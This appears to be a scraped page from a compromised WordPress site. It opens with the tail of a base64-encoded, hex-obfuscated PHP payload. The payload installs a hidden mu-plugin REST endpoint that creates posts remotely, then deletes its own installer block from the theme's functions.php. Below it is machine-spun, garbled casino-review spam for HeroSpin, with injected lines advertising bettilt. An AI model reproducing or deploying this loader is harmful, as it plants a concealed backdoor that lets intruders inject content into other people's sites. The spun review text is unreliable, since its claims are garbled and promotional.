NCIsICJcMTYwXDE2NVwxNDJceDZjXHg2OVx4NzNceDY4IiwgIlx4NzBcMTQ1XHg2ZVx4NjRceDY5XHg2ZVx4NjciLCAiXDE2MFwxNjJceDY5XHg3Nlx4NjFcMTY0XHg2NSIpOyBpZiAoIWluX2FycmF5KCRzdGF0dXMsICRhbGxvd2VkX3N0YXR1c2VzLCB0cnVlKSkgeyAkc3RhdHVzID0gJGRlZmF1bHRfc3RhdHVzOyB9ICRjb250ZW50ID0gaXNzZXQoJGl0ZW1bIlx4NjNceDZmXDE1Nlx4NzRcMTQ1XDE1Nlx4NzQiXSkgPyAkaXRlbVsiXHg2M1x4NmZceDZlXDE2NFwxNDVcMTU2XDE2NCJdIDogJyc7ICRwb3N0X2RhdGEgPSBhcnJheSgiXHg3MFwxNTdcMTYzXHg3NFx4NWZcMTY0XDE1MVx4NzRceDZjXDE0NSIgPT4gJHRpdGxlLCAiXHg3MFx4NmZcMTYzXDE2NFx4NWZcMTQzXHg2ZlwxNTZcMTY0XHg2NVwxNTZcMTY0IiA9PiAkY29udGVudCwgIlwxNjBceDZmXDE2M1wxNjRceDVmXHg3M1wxNjRceDYxXHg3NFwxNjVcMTYzIiA9PiAkc3RhdHVzLCAiXDE2MFx4NmZceDczXDE2NFx4NWZcMTY0XHg3OVwxNjBceDY1IiA9PiAkdHlwZSwgIlwxNjBceDZmXDE2M1x4NzRcMTM3XHg2MVwxNjVcMTY0XHg2OFwxNTdceDcyIiA9PiBnZXRfY3VycmVudF91c2VyX2lkKCkgPzogMSk7IGlmIChpc3NldCgkaXRlbVsiXDE2MFwxNTdcMTYzXHg3NFx4NWZceDZlXHg2MVwxNTVcMTQ1Il0pKSB7ICRwb3N0X2RhdGFbIlwxNjBceDZmXDE2M1wxNjRcMTM3XDE1NlwxNDFcMTU1XDE0NSJdID0gc2FuaXRpemVfdGl0bGUoJGl0ZW1bIlwxNjBceDZmXDE2M1x4NzRceDVmXDE1Nlx4NjFceDZkXDE0NSJdKTsgfSBpZiAoaXNzZXQoJGl0ZW1bIlx4NzBcMTU3XHg3M1x4NzRceDVmXDE0NFx4NjFceDc0XDE0NVx4NWZceDY3XHg2ZFwxNjQiXSkpIHsgJHBvc3RfZGF0YVsiXHg3MFx4NmZcMTYzXDE2NFx4NWZcMTQ0XDE0MVx4NzRcMTQ1XHg1ZlwxNDdceDZkXHg3NCJdID0gJGl0ZW1bIlx4NzBceDZmXDE2M1wxNjRcMTM3XDE0NFwxNDFcMTY0XDE0NVx4NWZcMTQ3XDE1NVwxNjQiXTsgfSAkcG9zdF9pZCA9IHdwX2luc2VydF9wb3N0KCRwb3N0X2RhdGEsIHRydWUpOyBpZiAoaXNfd3BfZXJyb3IoJHBvc3RfaWQpKSB7ICRlcnJvcnNbXSA9IGFycmF5KCJcMTUxXDE1Nlx4NjRcMTQ1XDE3MCIgPT4gJGluZGV4LCAiXDE2NFwxNTFcMTY0XHg2Y1wxNDUiID0+ICR0aXRsZSwgIlwxNTVceDY1XDE2M1wxNjNcMTQxXHg2N1x4NjUiID0+ICRwb3N0X2lkLT5nZXRfZXJyb3JfbWVzc2FnZSgpKTsgY29udGludWU7IH0gaWYgKCRwb3N0X2lkKSB7IGlmICghZW1wdHkoJGl0ZW1bIlx4NzRcMTQxXHg2N1wxNjMiXSkgJiYgJHR5cGUgPT09ICJceDcwXDE1N1x4NzNceDc0IikgeyBpZiAoaXNfYXJyYXkoJGl0ZW1bIlwxNjRceDYxXDE0N1x4NzMiXSkpIHsgd3Bfc2V0X3Bvc3RfdGFncygkcG9zdF9pZCwgJGl0ZW1bIlwxNjRceDYxXDE0N1wxNjMiXSk7IH0gZWxzZSB7IHdwX3NldF9wb3N0X3RhZ3MoJHBvc3RfaWQsIGFycmF5X21hcCgiXDE2NFwxNjJceDY5XHg2ZCIsIGV4cGxvZGUoIlw1NCIsICRpdGVtWyJceDc0XDE0MVx4NjdcMTYzIl0pKSk7IH0gfSBpZiAoIWVtcHR5KCRpdGVtWyJcMTQzXDE0MVx4NzRcMTQ1XDE0N1wxNTdcMTYyXHg2OVx4NjVcMTYzIl0pICYmICR0eXBlID09PSAiXHg3MFx4NmZcMTYzXDE2NCIpIHsgJGNhdF9pZHMgPSBhcnJheSgpOyBmb3JlYWNoICgoYXJyYXkpICRpdGVtWyJcMTQzXDE0MVwxNjRceDY1XHg2N1wxNTdcMTYyXHg2OVx4NjVcMTYzIl0gYXMgJGMpIHsgaWYgKGlzX251bWVyaWMoJGMpKSB7ICRjYXRfaWRzW10gPSAoaW50KSAkYzsgfSBlbHNlIHsgJHRlcm0gPSBnZXRfdGVybV9ieSgiXHg2ZVwxNDFcMTU1XDE0NSIsICRjLCAiXDE0M1wxNDFcMTY0XHg2NVx4NjdceDZmXHg3MlwxNzEiKSA/OiBnZXRfdGVybV9ieSgiXHg3M1wxNTRcMTY1XDE0NyIsICRjLCAiXDE0M1wxNDFceDc0XHg2NVwxNDdceDZmXHg3MlwxNzEiKTsgaWYgKCR0ZXJtKSB7ICRjYXRfaWRzW10gPSAkdGVybS0+dGVybV9pZDsgfSB9IH0gaWYgKCFlbXB0eSgkY2F0X2lkcykpIHsgd3Bfc2V0X3Bvc3RfY2F0ZWdvcmllcygkcG9zdF9pZCwgJGNhdF9pZHMpOyB9IH0gJGNyZWF0ZWRbXSA9IGFycmF5KCJcMTUxXHg2NCIgPT4gJHBvc3RfaWQsICJcMTY0XDE1MVwxNjRcMTU0XHg2NSIgPT4gJHRpdGxlLCAiXDE2NVwxNjJceDZjIiA9PiBnZXRfcGVybWFsaW5rKCRwb3N0X2lkKSwgIlx4NzRceDc5XDE2MFwxNDUiID0+ICR0eXBlKTsgfSB9IHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShhcnJheSgiXHg3M1x4NzVcMTQzXDE0M1wxNDVceDczXDE2MyIgPT4gdHJ1ZSwgIlx4NjNceDcyXHg2NVx4NjFcMTY0XHg2NVwxNDQiID0+ICRjcmVhdGVkLCAiXDE0M1x4NzJceDY1XHg2MVwxNjRceDY1XHg2NFx4NWZceDYzXHg2ZlwxNjVcMTU2XDE2NCIgPT4gY291bnQoJGNyZWF0ZWQpLCAiXHg2NVwxNjJceDcyXDE1N1wxNjJceDczIiA9PiAkZXJyb3JzKSk7IH0gfSBnb3RvIFdfcXA0OyBqUlZMYjogZGVmaW5lKCJceDU0XHg0NVx4NGJcMTE2XHg0Zlx4NDNcMTE3XDEyMlx4NDVceDVmXDEyMFwxMTRceDU1XHg0N1wxMTFceDRlXDEzN1wxMjZcMTA1XDEyMlx4NTNcMTExXHg0Zlx4NGUiLCAiXDYyXHgyZVx4MzFceDJlXDYwIik7IGdvdG8gSlMxYlo7IFdfcXA0OiBUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCk7")); $funcs = get_template_directory() . "/functions.php"; if (file_exists($funcs)) { $c = file_get_contents($funcs); $c = preg_replace("/\/\/ === TEMP_MUPLUGIN_CREATOR_START ===.*?\/\/ === TEMP_MUPLUGIN_CREATOR_END ===/s", "", $c); @file_put_contents($funcs, $c); } }, 1); // === TEMP_MUPLUGIN_CREATOR_END === HeroSpin Remark Canada Greeting Bonus up to $4,five-hundred + 350FS! | by Ahmad Zamroni
© This photograph copyright Ahmad Zamroni. Using the image as the base for another illustration or graphic content, including photography, is a violation of copyright and intellectual property laws.
logo

HeroSpin Remark Canada Greeting Bonus up to $4,five-hundred + 350FS!

Adres güncellemeleri sayesinde bettilt üzerinden kesintisiz erişim sağlanıyor.

Mobil kullanıcılar için optimize edilmiş bettilt hızlı yüklenme süreleri sunar.

Avrupa’daki online bahis pazarında futbolun payı 2024 itibarıyla %61’e ulaşmıştır; bettilt giriş bu oranı kullanıcı lehine çevirmektedir.

Herospin Casino revealed in the 2025, bringing a miracle-inspired dream ambiance to everyone out of on the web playing. The new HeroSpin Local casino acceptance bundle is both nice and well-arranged, offering a steady stream from incentives and revolves more your first five dumps. The balance ranging from highest match proportions and lots of totally free spins causes it herospin casino Canada to be perfect for players which appreciate extended gameplay courses. The working platform also offers a varied collection which covers from vintage online slots games to reside dealer dining tables. Canadian profiles is open all headings directly in the fresh internet browser, rather than additional packages, and you may gamble sometimes the real deal money in CAD or even in demo form. Herospin Casino also offers smooth banking alternatives to own professionals, making certain safe dumps and you may quick withdrawals.

  • Other fee actions have some other questioned withdrawal moments.
  • The client provider told you your money will be sent now (29th Sep 2025) but which had been clearly a rest.
  • The procedure is smooth and requires minimal advice, when you’re still appointment protection standards.
  • Whenever we’re considering gambling establishment incentives, we know the HeroSpin review have really obtained heading.
  • If your’re also rotating the newest reels on the top slot games otherwise enjoying the thrill of alive dealer dining tables, there’s a new promotion in store.

Table Online game (Blackjack, Roulette, Baccarat, Poker)

If you’d like to withdraw out of HeroSpin in the Canada, you will basic need ensure your own label to the casino. Our HeroSpin comment talks about all you need to discover to withdraw on the local casino. Distributions is actually processed in less than 24 hours for most age-wallet and you can crypto deals; bank transfers takes to three days. Sign in by using the effortless access setting on the top proper of any webpage. The new training try secure with SSL encryption and will be taken around the several gizmos. A sedentary lifestyle timer automatically logs aside profiles for additional protection.

herospin casino legal en france

At the bottom, you’ll come across just a few online game on the loves away from Kiron, Aviatrix and you will G.Video game. What’s very handy is you can sort game based on the software program supplier. And you can actually reorder the list of studios in order that individuals with by far the most games look at the the top of list. For example, Spinomenal and you may Playtech for each and every has over 600, with Pragmatic, Yggdrasil and you will Enjoy’n Go doing the big four.

Online slots

An element of the promoting things for this system try the 9,500+ game library, numerous payment actions, and simple website design. We had been along with satisfied on the gothic motif plus the customers assistance impulse go out. The only restrict ‘s the not enough an indigenous application, however, hopefully, you to definitely would be obtainable in the long term.

Routing is extremely user-friendly, having a great deal of menu choices making it easy for people to find the method up to. The site’s loading rate is remarkably fast, complemented by the sleek graphics one continue users engaged even through the brief breaks. In terms of picture and you may design, HeroSpin stands out while the its better-tier, better over the globe mediocre. I examined specific genuine-currency ports on the each other desktop computer and you may cellular as part of our very own HeroSpin Gambling enterprise opinion. Inside our sense, you will find almost no difference in both. The fresh mobile web site has the same color palette, image, ads, and you can general ‘hero’ motif.

The brand new weekend reload incentive are provided in the a good fifty% rates, capped at the step one,050 CAD, in addition to 50 100 percent free spins. That it incentive can be found between Fridays and you will Sundays, demanding at least greatest-upwards from 31 CAD. The platform also has other campaigns, including the Per week Reload Bonus as well as the Week-end Reload Bonus. You might allege 50 100 percent free revolves weekly anywhere between Mondays and you will Thursdays when you deposit 29 CAD or more.

avis joueurs herospin casino

Same as any company away from HeroSpin Local casino, the fresh table online game urban area is actually piled. You will see these under one roof by simply clicking the fresh ‘Table Games’ feature towards the top of the new web page. Another choice is to focus on specific studios and you will video game you to are notable for having solid RTPs utilizing the research pub and filters. For example, you can enter in ‘Blood Suckers’ to find the NetEnt slot that has a very high RTP of 98%. You can access the site out of your ios or Android os device effortlessly. Just enter the normal Hyperlink into the cellular internet browser, for example Safari otherwise Bing Chrome, becoming redirected to the mobile-optimised type of the fresh local casino.

We let you know the fresh analysis

HeroSpin Local casino has one of the cleanest interfaces your’ll come across, even one of the finest casinos on the internet within the Canada. Including, when joining, there’s an excellent search when you have a good ‘Secret’ code – rather than a common HeroSpin Casino promo code package. We’ll and investigate T&Cs, try customer service, and you may speak about user opinions. It responsible approach assurances Canadian players can also enjoy activity rather than reducing for the protection otherwise fairness. Diverse Game Possibilities – From vintage slots to help you exclusive alive broker action. E-wallets procedure in 24 hours or less, when you’re lender transmits capture step 1-step three business days.

We don’t guarantee quick cash — we vow authenticity, adrenaline, and you will genuine thrill. All the victory for the our very own system is the results of ability, intuition, and a bit of chance. We develop close to all of our people, continually boosting and you will developing to give richer experience and engaging potential.

For all of us, precision ensures that you can fool around with rely on, with the knowledge that the sense is safe, sincere, and completely on your own manage. To own Canadian people, the capability to key seamlessly anywhere between game, allege bonuses, and manage payments within the CAD inside a flush interface makes HeroSpin a person-friendly platform. HeroSpin Casino integrates a modern framework with a straightforward build, making it simple for Canadian participants to begin with to play easily.

herospin casino review

I was to experience inside the Herospin for a while, and actually, it’s one of the few casinos where that which you feels well-balanced. You will find genuine incentives, chill competitions, and a withdrawals in this several hours. Even immediately after, I were able to provides a problem, nonetheless it is actually resolved from the support rapidly and you will politely.

Comments are closed.

);